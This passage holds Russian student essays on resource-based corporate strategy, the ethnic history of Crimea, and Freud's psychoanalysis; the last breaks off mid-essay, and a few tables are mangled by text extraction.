Важное различие между двумя этими понятиями состоит в том, что рента Риккардо долгосрочна, а рента Шумпетера таковой не является. Рента Риккардо возникает благодаря факторам, которые трудно или невозможно перенять, таким как уникальное географическое местоположение, сложные организационные структуры или устоявшая корпоративная репутация. Рента Шумпетера, наоборот, возникает благодаря новшествам, которые, в конечном счете, будут взяты на вооружение другими.

Эта проблема ставит перед менеджерами множество фундаментальных вопросов. Во-первых, если фирма зарабатывает экономическую ренту, благодаря чему это происходит? Во-вторых, являются ли соответствующие факторы, по своей природе относящиеся в большей степени к виду Риккардо или Шумпетера? Они являются результатом какого-либо новшества, которое через некоторое время конкуренты смогут воспроизвести, или в них есть неотъемлемые качества, воспроизвести которые будет очень трудно? Далее, насколько вероятно, что конкуренты представят новшества, которые уменьшат стоимость данного ресурса? Когда приблизительно должно это произойти?

Глава 3. Стратегия, основанная на ресурсах.

Главная обязанность менеджеров состоит в том, чтобы сформулировать стратегию, позволяющую накапливать ресурсы, которые, в свою очередь, позволяют улучшать результаты работы как бизнес-подразделения, так и корпорации в целом. Все это подразумевает идентификацию, вложение капитала, обновление и заимствование ценных ресурсов (см.таблицу 1.2).

Невыгодный

Конкурентно

равный

Ценный
Важен для конкурентного преимущества

Местоположение недвижимости

х

Скорость разработки изделия

х
Необходим для конкуренции

Торговые демонстрации

0

Любезное обслуживание

Клиентов

х

Необходим, но не для конкуренции

Информационная основа

0

Управление целями поставок

0

Примечание: х – инвестиционный, 0 – поддерживающий.

Таблица 1.2 Текущая оценка стоимости ресурсов.

3.1 Идентификация ценных ресурсов.

Чтобы сформировать стратегию, основанную на ресурсах, фирма должна сначала идентифицировать и оценить свои ресурсы и выявить те из них, на которых она должна базировать свое будущее конкурентное (и/или корпоративное) преимущество. Данный процесс включает в себя определение перечня ресурсов, которыми обладает фирма, и последующее тестирование, позволяющий определить, какой из этих ресурсов (если таковой имеется) наверняка является ценным.

Первый шаг – инвентаризация ресурсов компании. Как правило, это может быть сделано путем опроса старших руководителей: следует спросить, что именно они рассматривают в качестве ключевых компетенций или источников конкурентного преимущества для бизнеса. Список высказанных идей затем может быть классифицирован в соответствие с тремя вышеупомянутыми типами ресурсами и расширен с учетом результатов исследования, касающегося применения этих категорий в данном бизнесе.

Второй шаг состоит в оценке стоимости каждого из ресурсов в рамках трех испытаний: конкурентного превосходства, дефицитности и применимости. Зачастую результаты именно первого теста оказываются наиболее важными и вместе с тем самыми трудными, потому что итоги двух других испытаний обычно более очевидны или менее спорны.

Соответствующие методы позволяют определить, способствует ли ресурс, которым располагает фирма, созданию конкурентного превосходства и можно ли его прямо связать с подвижностью конкурентного преимущества как это было сделано на рисунке 1.2. Ценный ресурс создает очевидное преимущество на производственном рынке, и основная задача состоит в том, чтобы выявить эту связь. Когда не существует никакой прямой связи между ресурсом и изменениями величин прибылей и убытков необходимость количественного доказательства наличия превосходства все еще сохраняется.

Если, например ресурс заключается в возможности выполнения тех или иных действий в меньшие сроки или с более высоким качеством, преимущество компании над конкурентами по этим параметрам должно быть подтверждено конкретными объективными данными. При всех этих упражнениях в оценке акцент должен быть сделан на соединении внутренней и внешней среды обитания. Ресурсный анализ – это не сосредоточенное упражнение по «разглядыванию собственного пупа», в которое очень часто вырождаются все отступления от «ключевой компетенции». В результате некоторые из них всегда могут быть идентифицированы, так как, по определению, каждая фирма что-то выполняет относительно лучше, чем все другие.

Как только ревизия текущих ресурсов осуществлена, необходимо выявить дефицит в нынешней их комбинации. Это может быть достигнуто, если задаться вопросом, какие из них будут необходимы в будущем для достижения всех стратегических целей, стоящих перед организацией.

Усердная работа, направленная в будущее и включающая анализ состояние отрасли на ближайшее пять – семь лет, помогая найти способы, позволяющие обеспечить успешную реализацию перспективного сценария.

Затем можно выстроить матрицу (см. таблицу 1.3)

Корпоративная стратегияКорпоративная стратегияКорпоративная стратегияКорпоративная стратегияКорпоративная стратегияКорпоративная стратегияКорпоративная стратегияКорпоративная стратегияКорпоративная стратегияКорпоративная стратегияКорпоративная стратегияКорпоративная стратегияКорпоративная стратегияКорпоративная стратегияКорпоративная стратегия

Запасы Текущие Руб.

Ресурсов расходы

Таблица 1.3 Запасы и потоки ресурсов

Это позволит определить нынешнее положение фирмы в соответствии со стратегической важностью каждого ресурса. Невыгодные на настоящий момент, но критически важные для достижения успеха или необходимые для конкуренции ресурсы впоследствии выдвигаются на первый план в качестве объектов, нуждающихся в инвестициях, наряду с ценными ресурсами, обеспечивающими будущее конкурентное преимущество.

Для осуществления этого подхода важно, чтобы фирма нашла подходящий уровень, на котором можно разложить ее ресурсы на составляющие части. Широкие классификации компетенций обычно куда менее полезны, чем более подробные, непосредственно касающиеся дефицита конкурентного преимущества. Выделение составных частей необходимо также при определении направления деятельности.

3.2 Инвестирование в ресурсы.

Поскольку все ресурсы обесцениваются, эффективная корпоративная стратегия требует непрерывного поддержания и расширения посредством инвестиций новейших ресурсов, которыми располагает компания. Технологические «ноу-хау» также устаревают.

Фирменные знаки устаревают, если их не подкреплять потоком рекламных расходов. Организационные возможности становятся заскорузлыми и не позволяют уже приспосабливаться к ситуации. Инвестиции должны быть сосредоточены на формировании и сохранении ресурсов, обеспечивающих конкурентное превосходство.

Однако средства должны также вкладываться в ресурсы, сами по себе не умеющие зарабатывать экономическую ренту, но обеспечивающие конкурентный паритет, позволяющий успешно реализовывать стратегию.

Чаще инвестициями в ключевые ресурсы занимаются корпоративные управленцы, нежели менеджеры подразделений, поскольку они критическим образом влияют на результаты работы фирмы.

Важно, чтобы рентные платежи, которые, как ожидает фирма, должны увеличиваться по мере инвестирования в соответствующие ресурсы, не были утрачены в конкурентной борьбе за приобретение этих ресурсов. Если многие компании находят определенный ресурс значимым, его цена на более-менее эффективном рынке должна отражать спрос на него.

Например, совершенно нереально для какой-нибудь корпорации, торгующейся за нефтяные залежи, приобрести их по цене ниже рыночной, если бы не ее удачливость или не обладание конфиденциальной информацией об их стоимости.

Может показаться, что данная проблема исчезает, когда ресурсы накапливаются внутри компании.

Однако даже когда они виде организационных возможностей созданы с помощью внутренних инвестиций, прибыль, поступающая благодаря им, отчасти будет зависеть от числа конкурентов, сделавших аналогичные капиталовложения. Если многие компании развивают одну и ту же возможность в плане материально-техническом обеспечения, в среднем ни одна из них не зарабатывает существенной прибыли на инвестиции в такой ресурс.

Инвестиционная деятельность требует тщательного предварительного анализа стратегического положения, как самой фирмы, так и вероятных конкурентов, тоже вкладывающих средства.

Асимметрия, имеющая место среди нынешних ресурсов фирмы, является изначальной причиной того, почему вся прибыль не рассеивается в борьбе за приобретение ресурсов, даже когда об их ценности знают все.

Поэтому выбрать ресурсы, в которые следует вложить капитал, совсем непросто. С данной задачей связаны фактически два из самых трудных компромиссов, на которые приходиться идти фирмам. Это компромиссы между непрерывностью и адаптируемостью, а также между обязательностью и гибкостью.

Непрерывность и адаптируемость. Когда имеющиеся ресурсы фирмы и требующиеся для будущего успеха в конкурентной борьбе перестают соответствовать друг другу, менеджеры компании сталкиваются с определенной дилеммой. Следует ли сохранять приверженность прежним ресурсам, которые хорошо служили в прошлом, но в будущем могут быть заменены другими ресурсами или другими стратегиями ?Или пойти на изменение стратегии и поиск других ресурсов ? Или выбрать промежуточный путь: ждать и наблюдать, воздерживаясь от вложения капитала в любой комплекс ресурсов, пока неопределенность каким-то образом не разрешиться?

Многие компании оказывались в таком затруднительном положении. Например, правильно ли поступит фирма, если не будет следовать примеру Kodak, которая боролась за формирование нового набора ресурсов и адаптацию к тому, с чем она столкнулась в 1990-е годы, в период перехода от пленочного к цифровому формату изображений ?

Хотя вложение капитала в ресурсы, значимые ранее, представляется как продолжение успешной стратегии, существует опасность того, что они будут загонять фирму во все более и более неблагоприятное положение. Инвестиции в новые ресурсы рискованны еще и потому, что могут быть сопряжены с фундаментальными организационными изменениями без гарантий успеха новой стратегии; кроме того, возможно, появятся издержки, связанные с поглощениями существующих бизнесов, осуществляющие выгодные продажи.

Для менеджеров пожертвовать тем, что хорошо работало в прошлом, ради сомнительной возможности будущего успеха, связанного с переменой стратегии, — очень трудный шаг.

Зачастую на перемены решаются уже слишком поздно, когда кризис, вызванный неизбежным провалом первоначальной стратегии, обрушивается в полную силу.

Обязательность и гибкость. Многие фирмы разрешают дилемму, связанную с выбором между стабильностью и переменами, избегая приверженности какой-либо стратегии. Вместо инвестиций в ресурсы, неразрывно связанные с той или иной стратегией, они пытаются сохранить определенную гибкость, откладывая оценку эффективности той или иной стратегии в будущем.

Хотя фирмы должны избегать обязательств, принятие которых может быть без потерь отсрочено, выбор между обязательностью и гибкостью часто сопряжен с фундаментальным компромиссом, который нельзя обойти и который не имеет ни какого заранее определенного решения.

Ставя на определенную стратегию и делая необратимые инвестиции в ресурсы, необходимые для ее поддержания, фирма оказывается, заперта в пределах этой стратегии. Это может быть опасным, если существует неуверенность относительно того, действительно ли выбранная стратегия является оптимальной.

Но отказ от таких инвестиций также опасен, потому что несет с собой угрозу оказаться со связанными руками. Не затрачивая средства, компания позволяет и другим их не вкладывать или, если у фирмы существуют большие трудности и она не в состоянии проинвестировать в новый проект на раннем этапе, то может оказаться неспособной сделать это и позднее. Далее, многие ресурсы требуют для своей устойчивости постоянного финансирования.

Как только организация приостанавливает, например, программу исследований, их видимо, очень трудно будет начать снова – время уйдет. Точно также провал с отношениями с клиентами может предельно усложнить и удорожить повторный вход в эту отрасль.

Как ни мучительно порой бывает разрешение таких дилемм, важно признать ту роль, которая играет неопределенность в создании возможностей для получения стратегических выгод.

3.3 Модернизация и перенаправление ресурсов.

Угроза, определяющая конкуренцию – подражания и замещения превращают большую часть конкурентных преимуществ и стоимость ресурсов, на которых фирма базируется в нечто временное. Это нацеливает фирмы на непрерывную борьбу за модернизацию своих ресурсов.

Качество основных ресурсов фирмы может быть улучшено множеством способов, например, путем укрепления имеющихся ресурсов, улучшения их качества, приобретение дополнительных ресурсов, укрепляющих позиции фирмы на ее нынешних рынках; разработки новых ресурсов, что позволяет компании начать работать, в новых, более привлекательных отраслях.

Модернизировать ресурсы, как правило, лучше внутри компании. Попытка приобретать желаемые ресурсы, путем рыночной сделки, вообще говоря, влекла бы за собой покупку целого бизнеса, к отдельным частям которого фирма может и не иметь никакого интереса. Кроме того, на агрессивном рынке при осуществлении корпоративного управления в случае, если компания не может приобрести что-то совершенно уникальное, трудно избежать рассеяния прибыли, которую фирма надеялась, в конечном счете, заработать за счет использования этих ресурсов.

Напротив, если стратегия, связанная с нарастающей модернизацией ресурсов, берется на вооружение всякий раз в ответ на один-единственный вызов вместо привлечения имеющихся у корпорации ресурсов, все это может превратиться в неумолимый, сопряженный с относительно низкими рисками процесс непрерывного усовершенствования.

Когда фирма не использует полностью свои ценные ресурсы на тех рынках, на которых она сейчас работает, последний шаг, который следует предпринять в соответствии со стратегией, основанной на ресурсах, состоит в перенаправлении ресурсов в другие ресурсы или отрасли, где они могут создавать стоимость.

Заключение

Представление о фирме, основанное на ресурсах, которыми она располагает – понятие широко и точно определяет активы, способные функционировать в качестве ключевой компетенции, и ставит условия, при которых эти активы могут становиться источниками стоимости в многочисленных бизнесах.

Одним из больших преимуществ ресурсного подхода является то, что он объясняет, почему фирма обладает корпоративным преимуществом, связанным с отдельным бизнесом, и корпоративным преимуществом, распространяющего на многие бизнесы.

Такой подход позволяет получить представление о фирме в динамике: с момента ее основания в виде небольшой сконцентрированной компании и до превращения в огромный сложный организм.

Самое важное – необходимость комплексного подхода ко всем действиями решениям, касающимся распределения ресурсов. Выработанная стратегия основанная на ресурсах направлена не на реализацию единичных, хотя и очень важных мероприятий, помогающих решать отдельные, не связанные между собой задачи, она должна увязать все действия и планы фирмы в согласованный пакет, обеспечивающий достижение главнейших целей компании.

Ценность стратегии состоит в том, что она устраняет непоследовательность в поведении, действиях и принятии решений в компании, обеспечивая взаимосвязь и эффективность всех элементов.

Ресурсы – это важнейшие блоки, из которых строиться стратегия, ведь они определяют не то, что фирма хочет сделать, а то, что она может сделать. Они представляют собой долгосрочные активы. Если бы все компании имели одинаковые ресурсы, они могли бы осуществлять одну и ту же стратегию и исчезло бы само основание для конкурентных преимуществ ; только когда имеются существенные различия в ресурсах, каждая корпорация может развивать свою собственную стратегию.

Когда в корпоративной стратегии внутренние и внешние согласованы, управляются в соответствие с видением траектории развития компании и способствуют движению в этом направлении, стратегия в целом должна обеспечивать корпоративное преимущество и создание стоимости.

Следует подчеркнуть, что разработка корпоративной стратегии – это одна из самых трудных задач, стоящих перед менеджерами. Ее решение требует не только хороших аналитических навыков и соответствующих данных, но и глубокого знания поведения менеджеров и систем, равно как и интуиции и творческого потенциала.

Если не будет реального вдохновения и понимания, трудно надеяться на то, что удастся выработать замечательную стратегию.

Поэтому самая большая трудность для ее разработчиков – понять суть поставленной перед ними задачи и попытаться найти пути извлечения устойчивого конкурентного преимущества.

Список используемой литературы

1. Ансофф И. Новая корпоративная стратегия. СПб., Издательство «Питер», 2004.–416с.

2. Бандурин А.В. Деятельность корпораций. М.: Буквица, 2004. –600 с.

3. Бандурин А. В., Зинатулин Л. Ф. Экономико-правовое регулирование деятельности корпораций в России. – М.: БУКВИЦА, 2004. – 212 с.

4. Бандурин А.В., Орехов С.А. Менеджмент финансово-промышленных групп. М.: МЭСИ, 2004.

5. Бандурин В.В., Беленький Л.П., Блинов В.В. Корпоративное управление в условиях рынка (на примере финансово-промышленных групп). М.: изд. МО РФ, 2004.

6. Брейли Ричард, Майерс Стюарт. Принципы корпоративных финансов. М.: Олимп-Бизнес, 2005.

7. Голубков Д.Ю. Особенности корпоративного управления в России: инвестиционный кризис и практика оффшорных операций. М.: Изд. дом «Альпина», 2004. – 272 с.

8. Губин Е.П. и др. Управление и корпоративный контроль в акционерном обществе. М.: Юристъ, 2004.-248 с.

9. Зинатулин Л.Ф. Корпоративное управление. Сб. документов. М.: Нива России, 2004.-304 с.

10.Ильенкова С.Д. и др. Инновационный менеджмент: Учебник для вузов. Банки и биржи, ЮНИТИ, 2004. – 327 с.

11.Кашанина Т.В. Корпоративное право (право хозяйственных товариществ и обществ). М.: ИНФРА-М, 2004.

12.Корпоративное управление. Владельцы, директора и наемные работники акционерного общества. Пер. с англ. М.: Джон Уайли энд Санз, 2004.-240 с.

13.Кругман П. Р., Обстфельд М.Международная экономика. Теория и политика: Учебник для вузов / Пер. с. Англ. Под ред. В. П.Колесова, М. В. Кулакова. – М.: Экономический факультет МГУ, ЮНИТИ, 2004.– 799 с.

14.Мельников С.Б. Формирование корпоративного управления. МО России. М.: АРиНА, 2004.

15.Орехов С.А. Менеджмент финансово-промышленных групп (курс лекций). М.: МЭСИ, 2004.

16.Поршнев А.Г. и др. Управление организацией. М.: ИНФРА-М, 2004.

17.Уиллинг Роберт. Антимонопольная политика и институты. М., 2004.

18.Федоров В.Н., Загоруйко И.А. Управление современной корпорацией. — Краснодар, 2004.

19. Коллис Дэвид Дж., Монтгомерн Синтия А. Корпоративная стратегия. Ресурсный подход / Пер. с англ. – М.: ЗАО «Олимп-Бизнес», 2007. – 400с.:ил.

Реферат: Историко-этнографическая справка Крыма

Историко-этнографическая справка КРЫМА

Впервые человек появился на территории Крымского полуострова около 250 тыс. лет тому назад. В разные исторические эпохи на полуострове проживали различные народы, племена, существовали государства.
В XV-VII вв. до н. э. в Крыму жили киммерийцы, занимая юго-восточную часть полуострова. В I тысячелетии до н. э. В горной южной части Крыма проживали племена тавров, которые занимались земледелием и скотоводством.
До XIII века полуостров в письменных источниках именовался Таврикой по имени племен тавров. В VII в. до н. э. на полуостров пришли ираноязычные племена скифов. Они занимались земледелием, скотоводством. Известно им было ювелирное искусство и гончарное дело. Ими было создано Скифское царство, столицей которого являлся Неаполь Скифский (III в. до н. э. — III в. н. э.).
III в. н. э. отмечен приходом в Крым готов, которые завоевали Скифское царство. В основном готы жили на юге и юго-западе полуострова.
С VI в. до н. э. начинается греческая колонизация полуострова, создаются Боспорское государство и Херсонесская республика.
В I в. до н. э. в Крыму появляются римляне (юг и юго-западная часть полуострова).
В IV в. в Крым вторгаются тюркоязычные кочевые племена гуннов. Следующими пришельцами стали хазары, которые пришли с Нижней Волги и Северного Кавказа в VIII веке.
В VIII-IX вв. в степной части Крыма создаются поселения протоболгар (тюркоязычные племена).
К концу IX в. в Крыму появляются тюркоязычные кочевые племена печенегов. А в середине XI в. на полуостров вторгаются также тюркоязычные племена половцев (кыпчаков).
К коренным тюркоязычным народам Крыма относятся небольшие по численности караимы (караи) и крымчаки, появление которых в Крыму датируется VIII-IX вв.
В III в. из Византии в Крым проникает христианство. По письменным источникам, Киевский князь Владимир в Херсонесе принял христианство, впоследствии распространившееся на Руси. В XIII в. русские поселенцы проживали во многих городах Крыма. Так, в Херсонесе был русский квартал и русский приход, русские церкви были в XIV веке в Кафе (Феодосии), о чем свидетельствует Устав Кафы. Однако это было еще не столь многочисленное население как тюркоязычное.
В середине XIII в. полуостров был захвачен Золотой Ордой и стал ее улусом (провинцией). В это же время у полуострова вместо Таврики появляется новое название — Кырым. В первой трети XV в. в связи с распадом Золотой Орды было образовано Крымское ханство. Однако после завоевания в 1475 г. турками части полуострова ханство стало вассалом Турции. Из тюркоязычных племен и народов, в разное время населявших полуостров (гунны, протоболгары, хазары, турки, печенеги, половцы, племена Золотой Орды), сформировался крымскотатарский народ.
После русско-турецкой войны Екатерина II «Манифестом» 1783 года присоединила Крым к России. В этом же году была образована Таврическая область, а с 1802 г. — Таврическая губерния.
После 1783 г. из Крыма эмигрировала первая группа крымских татар. По различным источникам уехало от 100 до 200 тыс. человек. Вторая эмиграция развернулась в 60-е годы XIX в. Крым покинуло 131 тыс. крымских татар. В начале XX в. отмечена еще одна волна эмиграции. В 1921 г. крымские татары составляли 25,7 % населения полуострова. С XI в. на Крымском полуострове селятся армяне, центром поселений которых был Солхат (Старый Крым). В течение многих веков живя в Крыму, внесли значительный вклад в формирование населения полуострова периода средневековья греки. В 1778 г. Екатерина II переселила из Крыма в Приазовье греков и в район Нахичевани армян. Всего было выселено около 31 тыс. христиан. В конце XVIII — начале XIX в. в Крыму разрешено было селиться новогрекам, которые, будучи подданными Турецкой империи, участвовали в русско-турецких войнах на стороне России. После присоединения Крыма к России на полуостров устремились русские помещики со своими крестьянами. В это время национальный состав Крыма стал еще разнообразнее. Немцы, чехи , эстонцы, болгары — появились в Крыму уже в XIX веке. В это же время на полуостров прибывает значительное количество евреев, хотя первые иудеи появились в Крыму, видимо, с греками до нашей эры. Осваивая Крым, царское правительство разрешило селиться здесь также выходцам из Молдавии, Польши. В конце XVIII — начале XIX вв. Крым активно заселяется русскими и украинцами. Это были отставные русские солдаты, крепостные и государственные крестьяне. Кроме того, земли в Крыму раздавались чиновникам, офицерам. К 1917 году русские и украинцы составили 60,4 % городского и 35,9 % сельского населения полуострова. По переписи 1921 года в Крыму проживали представители 70 наций и народностей.
В мае 1930 г. состоялась Всекрымская конференция национальных меньшинств, где были представлены все национальные группы вплоть до итальянцев, айсоров, чехов.
В годы Великой Отечественной войны Крым был оккупирован войсками фашистской Германии. Фашисты, используя национальные чувства, сеяли рознь и вражду среди представителей различных национальностей. Многие жители полуострова в составе партизанских отрядов, подпольных групп и организаций боролись с фашистами. На 15 января 1944 г. партизанами были представители 35 наций и народностей.
После полного освобождения Крыма Государственный Комитет Обороны СССР принял постановление от 11 мая 1944 г. о депортации с полуострова крымских татар, чуть позже — армян, болгар и греков. Немцы были высланы с территории Крыма в 1941 г. Только в 1989 г. были сняты ограничения на возвращение в Крым как крымских татар, так и депортированных граждан других национальностей. В соответствии с Декларацией, принятой Верховным Советом СССР 14 ноября 1989 г., признавались незаконными и преступными репрессивные акты против народов, подвергшихся насильственному переселению.
Сегодня в Крыму проживают представители более 125 наций и народностей.

Реферат: Концепция психоанализа

МОСКОВСКИЙ ГОСУДАРСТВЕННЫЙ ИНСТИТУТ

СТАЛИ И СПЛАВОВ

(ТЕХНОЛОГИЧЕСКИЙ УНИВЕРСИТЕТ)
________________________________________________________________________

Кафедра Философии

Реферат

Концепция психоанализа

Студент группы МА-94

Кучеряев Василий Владимирович

Преподаватель

Овчинникова Марина Васильевна

Москва 1997

План

1. Введение (Основная предпосылка психоанализа.

Определение сознательного и бессознательного).

2. Развитие психоанализа. Психоанализ как философское течение.

3. Преувеличение роли сексуальных влечений в психической жизни человека — один из главных призывов к

“раскрепощению чувственности”.

4. Истолкование сновидений, как “королевская дорога” психоанализа.

5. Заключение (Психоанализ — урок скромности для человека).

Часть 1. Введение.

Деление психики на сознательное и бессознательное является основной предпосылкой психоанализа, и только оно дает ему возможность понять и приобщить науке часто наблюдающиеся и очень важные патологические процессы в душевной жизни. Психоанализ не может перенести сущность психического в сознание, но должен рассматривать сознание как качество психического, которое может присоединяться или не присоединяться к другим его качествам.

Быть сознательным — прежде всего чисто описательный термин, который опирается на самое непосредственное и надежное восприятие. Опыт показывает, что психический элемент, например представление, обыкновенно не бывает длительно сознательным. Характерным является то, что состояние сознательности быстро проходит; представление в данный момент сознательное, в следующее мгновение перестает быть таковым, однако может вновь стать сознательным при известных, легко достижимых условиях. Каким оно было в промежуточный момент мы знаем; можно сказать, что оно было скрытым, подразумевая под этим то, что оно в любой момент способно было стать сознательным. Если мы скажем, что оно было бессознательным, то мы также дадим правильное описание. Это бессознательное в таком случае совпадает со скрыто или потенциально сознательным.

К термину или понятию бессознательного мы пришли другим путем, путем разработки опыта, в котором большую роль играет душевная динамика. Мы видели, то есть вынуждены были признать, что существуют весьма напряженные душевные процессы или представления — здесь прежде всего приходится иметь дело с некоторым количественным, то есть экономическим, моментом, — которые могут иметь такие же последствия для душевной жизни, как и все другие представления, между прочим, и такие последствия, которые могут быть осознаны как представления, хотя в действительности и не становятся сознательными. Здесь начинается психоаналитическая теория, которая утверждает, что такие представления не становятся сознательными потому, что им противодействует известная сила, что без этого они могли бы стать сознательными, и тогда мы увидели бы, как мало они отличаются от остальных общепризнанных психических элементов. Эта теория оказывается неопровержимой благодаря тому, что в психоаналитической технике нашлись средства, с помощью которых можно устранить противодействующую силу и довести соответствующие представления до сознания. Состояние, в котором они находились до сознания, мы называем вытеснением, а сила, приведшая к вытеснению поддерживавшая его, ощущается нами во время нашей психоаналитической работы как сопротивление.

Часть 2.

Возникнув в начале века одно из направлений медицинской психологии, психоанализ, сначала усилиями Фрейда, а затем и его последователей, постепенно превратился в учение, претендующее на оригинальное решение чуть ли не всех мировоззренческих проблем.

Одновременно он стал частью повседневного существования миллионов людей в Западной Европе и, в особенности, в США.

Психоанализ — не толь вид психотерапевтической и клинической практики. Одновременно он является философским учением о человеке, социальной философией, принадлежа, таким образом, к факторам идеологического порядка. Именно в этом смысле психоанализ стал неотъемлемой частью западной культуры. По словам Бергера, “если бы

Фрейда не было, его нужно было бы выдумать”. По мнению Бергера, главной социальной причиной распространения психоанализа является почти полное разделение сфер публичной и частной жизни в буржуазном обществе. Это ведет к “кризису идентичности”: лишь немногие люди имеют возможность найти свое “подлинное Я” в гражданской жизни, политике, бизнесе, культуре. Для большинства же в условиях разделения труда и капиталистической рационализации производства и потребления остается искать свое “подлинное Я” в частной жизни.

Психоаналитическое учение о культуре представляет собой способ истолкования знаков, семиотику или даже симптоматику культуры. Взгляд

Фрейда на искусство, религию, мораль, сознательные институты — это взгляд врага, определяющего по симптомам причины, характер и протекание заболевания. Психоанализ развивался по следующему направлению: от терапии неврозов и методов исследования бессознательных психических процессов к “ метапсихологии”, то есть совокупности теоретических постулатов о человеческой психике и “судьбах влечений”.

Затем эта общая теория послужила фундаментом для применения психоанализа в различных областях знания: в этнографии, религоведении, социальной психологии и социологии и т.д. Уже в ранних работах Фрейда содержатся его основные философские идеи, осуществляется выход за пределы специальных проблем психотерапии и медицинской психологии, тогда как поздние произведения по-прежнему опираются на опыт общения с пациентами и ориентированы на более глубокое осмысление этого опыта.

Часть 3.

Психоаналитическая концепция культуры содержится уже в ”Толковании сновидений” (1900 г.), поскольку сновидение рассматривается как приватная микрология сновидца, а мир представляет как сновидение народов. Фрейд находит первоисток всех проявлений человеческой души во влечениях, залегающих в бессознательном, в глубинах психики — отсюда название “глубинная психология”, закрепившееся за психоанализом.

Аналитик повсюду ищет и находит следы влечений, той психической энергии, либидо, которая “инвестирует” произведения искусства или религиозные верования. Человек у Фрейда — “человек желающий”, у которого влечения и страсти предшествуют сознательному поведению и мышлению. Он подчинен неумолимым влечениям, сокрытым за множеством конвенциональных масок; но сознательный мир не столько рационален, сколько полон “рационализацией”, то есть подобранных для оправдания своих поступков идеальных мотивов, которые не совпадают с подлинными мотивами поведения. “Разумность” человека весьма ограниченна, за ясными и отчетливыми идеями и образами сознания скрываются темные и спутанные представления сновидений и галлюцинаций, психические отображения инстинктивных влечений и неосознаваемых запретов. Предметом психоанализа является в первую очередь разного рода психопатологии, в которых эта “тьма” берет верх над сознательной жизнью. Если такова природа человека, если фундаментом его существования является влечение, то исчезают всякие ограничения для аналогий между детским влечениями, неврозами, сновидениями — и произведениями культуры. Поле применения психоанализа тогда беспредельно, равно всей культуре, всему человеческому бытию.

Для обозначения самого глубокого уровня психической жизни Фрейд использовал термин “Trieb”, переводимый либо как “инстинкт”, либо как

“влечение”. Хотя Фрейд постоянно подчеркивал связь психической жизни с биологической организацией (поэтому речь идет об инстинктах), эта биохимическая реальность, по его собственному признанию, нам неизвестна, и лишь в каком-то отдаленном будущем наука сумеет полностью объяснить поведение и мышление человека на языке химии и физиологии.

Психоанализ имеет дело с психическими заместителями или представителями инстинктов. Мы сталкиваемся с особой психической реальностью: влечения изначально осмыслены, поэтому они могут входить в сознание в состоянии сновидения или невроза, могут воздействовать на сознание. Влечение уже наделено смыслом — это как бы пограничье между биологическим и психическим, тут совершается переход слепой и немой энергии в артикулируемый смысл. Эти потоки психической энергии “инвестируются” в определенные идеальные образы культуры, творимые жизненной энергией желания.

Фрейд создал учение, которое было использовано не только для объяснения поведения и мышления невротиков, но и для истолкования эмпирических данных чуть ли не всех социальных и гуманитарных наук.

Фрейд подчеркивал наличие конфликтов в психике человека, стал рассматривать душевную жизнь индивида в ее истории и в связи с действием некоторых социальных факторов. Его заслугой является разработка вопросов о динамическом соотношении бессознательных и сознательных мотивов действий людей, о наличии в психике различных уровней. Фрейду удалось показать и некоторые негативные стороны современного ему буржуазного общества, поскольку те внутрипсихические конфликты, которые он описывал, являлись отражением условий существования людей в капиталистическом мире.

Фрейд, конечно, ни к какой революции, тем более к “сексуальной”, не призывал, но характерное для его учения преувеличение роли сексуальных влечений в психической жизни человека стало одним из главных источников призывов к “раскрепощению чувственности”. Фрейд отрицал какое-либо внешнее влияние на его учение со стороны Шопенгауэра и Ницше и даже говорил, что специально отказался от чтения произведений

Ницше, чтобы такого влияния не произошло, но он судя по всему был неплохо с этими учениями знаком.

Фрейдовское учение предлагает два варианта ответа на вопрос о человеческой природе. Но и в том, и в другом случае им осуществляется биологизация человеческого существования. Одним из источников витализма

Фрейда была “философия жизни”. Другим источником была упрощенно понятая установка естествознания, а так же буржуазной социологии и антропологии

XIX века сводить сложные социальные и психологические явления к элементарным физическим и биологическим процессам. Фрейд считал, что биология и психология должны быть теми “точными” науками, которые заложат фундамент для всей совокупности социальных и гуманитарных наук.

Фрейд сосредоточил все внимание на том, что по его мнению, присуще природе человека, то есть на некоторых биопсихических характеристиках, которые в отличие от различных привнесений культуры, присущи всем людям.

Моделью его философской антропологии был не просто человек с его исключительно психологическими задатками. Человеческая природа была понята им по образу и подобию тех больных невротиков, с которыми он как врач имел дело. Неврозы, по его мнению, “не имеют какого-либо им только свойственного содержания, которого мы не могли бы найти у здорового…

Невротики заболевают теми же комплексами, с которыми ведем борьбу и мы, здоровые люди”. В конечном счете и здоровая, и отклонившаяся от нормы психика истолковываются Фрейдом как результат совершающейся в раннем детстве эволюции либидо (сексуального инстинкта). В зависимости от того, успешно ли был преодолен “эдипов комплекс” или нет, произошла ли фиксация, задержка на одной из “доэдиповых” ступеней развития либидо, протекает, в соответствии с его учением, вся взрослая жизнь человека.

По определению Фрейда, психоаналитиком является тот, кто признает существование первичных бессознательных процессов в психике, учение о вытеснении и сопротивлении, а так же считает, что фундаментом психоанализа является теория детской сексуальности и “эдипова комплекса”. Фрейд подчеркивал, что бессознательное, во-первых, выступает как проявление инстинктов, во-вторых, что именно энергия инстинктивных влечений определяет динамику психической жизни человека, в-третьих, что структура психики, характер индивида и все социально- культурные явления должны объясняться этой психодинамикой, “судьбами влечений”, наконец, что события и впечатления раннего детства определяют основные черты психики индивида.

Часть 4.

Особенностью воззрения Фрейда является также предложенный им метод дешифровки, с помощью которого за видимым обнаруживается сокрытое.

Интерпретация преодолевает и невротическое сопротивление, и “работу сна” — вообще то искажение, которое привносится в видимую нами картину мира запретами и нормами. Фрейд обнаруживает механизмы конденсации, смещения образов, проекции и сублимации влечений. Наше “Я” совсем не так “прозаично”, как полагали философы. Это лишь одна из инстанций психики, формирующаяся в процессе индивидуального развития. Длительная зависимость ребенка от родителей, медленное в сравнении с другими животными взросление — вот первопричина существования другой инстанции

“Сверх-Я”. В ней как бы конденсируются требования и запреты родителей, семьи, воспитателей, социальной среды, народной традиции, всего филогенеза. Чтобы понять смысл нынешних психических затруднений индивида, нужно вернуться к его раннему детству; в социологии, эстетике, философии культуры регрессия к ранним этапам человеческой истории помогает установить смысл сегодняшних событий, творений, социальных институтов, религиозных верований и моральных запретов.

